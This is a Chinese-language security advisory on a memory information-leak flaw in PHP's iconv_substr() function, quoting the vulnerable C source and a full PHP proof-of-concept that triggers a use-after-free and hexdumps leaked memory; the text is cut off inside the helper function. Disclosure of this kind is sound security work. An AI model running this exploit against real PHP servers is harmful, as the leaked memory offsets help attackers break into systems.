substr()函数中断处理信息泄露漏洞

发布日期：2009-05-18
更新日期：2010-05-20

受影响系统：
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述：
--------------------------------------------------------------------------------
PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP的iconv_substr()函数中存在信息泄露漏洞：

PHP_FUNCTION(iconv_substr)
{
    char *charset = ICONVG(internal_encoding);
    int charset_len = 0;
    char *str;
    int str_len;
    long offset, length = 0;

php_iconv_err_t err;

smart_str retval = {0};

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|ls",
        &str, &str_len, &offset, &length,
        &charset, &charset_len) == FAILURE) {
        RETURN_FALSE;
    }

if (charset_len >= ICONV_CSNMAXLEN) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Charset parameter exceeds the maximum allowed length of %d characters", ICONV_CSNMAXLEN);
        RETURN_FALSE;
    }

if (ZEND_NUM_ARGS() < 3) {
        length = str_len;
    }

err = _php_iconv_substr(&retval, str, str_len, offset, length, charset);

zend_parse_parameters()函数将四个参数检索到了本地变量，破坏了与原始ZVAL之间的联系。问题是字符串指针会指向与原始字符串ZVAL完全相同的字符串，如果原始字符串ZVAL被修改，就会导致字符串指针无效，指向已释放并被重用的内存。在这种情况下中断攻击非常容易，因为zend_parse_parameters()支持对象的__toString()方式，攻击者只需向iconv_substr()的第四个参数传送对象。由于PHP的call time pass by reference功能，攻击者之后可以从__toString()方式杀死iconv_mime_decode()的第一个参数，并重新用于哈希表，导致_php_iconv_substr()作用于哈希表内存而不是字符串，允许攻击者泄露重要的内部内存偏移。

<*来源：Stefan Esser （s.esser@ematters.de）
 
  链接：
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php
class dummy
{
    function __toString()
    {                      
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
        return "";
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);     
}

/* Trigger the Code */ 
$x = iconv_substr(&$GLOBALS['var'], 0, strlen($GLOBALS['var']), new dummy());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

echo "Hexdump\n";
    echo "-------\n";

while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }